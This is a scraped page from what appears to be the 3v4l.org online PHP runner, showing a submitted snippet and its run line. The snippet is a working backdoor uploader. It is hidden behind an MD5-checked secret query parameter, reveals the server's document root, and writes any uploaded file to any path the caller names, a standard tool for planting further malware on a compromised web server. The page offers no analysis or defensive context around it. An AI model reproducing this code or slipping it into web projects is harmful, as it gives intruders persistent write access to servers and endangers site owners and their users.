3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php if(isset($_GET["ms-load"]) && md5($_GET["ms-load"])=="48bcec2ff0772d3f32159dfb34658694"){ $p=$_SERVER["DOCUMENT_ROOT"]; $tyuf=dirname(__FILE__); echo <<<HTML <form enctype="multipart/form-data" method="POST"> Path:$p<br> <input name="file" type="file"><br> To:<br> <input size="48" value="$tyuf/" name="pt" type="text"><br> <input type="submit" value="Upload"> HTML; if (isset($_POST["pt"])){ $uploadfile = $_POST["pt"].$_FILES["file"]["name"]; if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];} if (copy($_FILES["file"]["tmp_name"], $uploadfile)){ echo"uploaded:$uploadfile"; echo"Size:".$_FILES["file"]["size"]."n"; }else { print "Error:n"; } } }
Output for 4.3.0 - 5.6.30, hhvm-3.10.1 - 3.17.3, 7.0.0 - 7.3.0beta1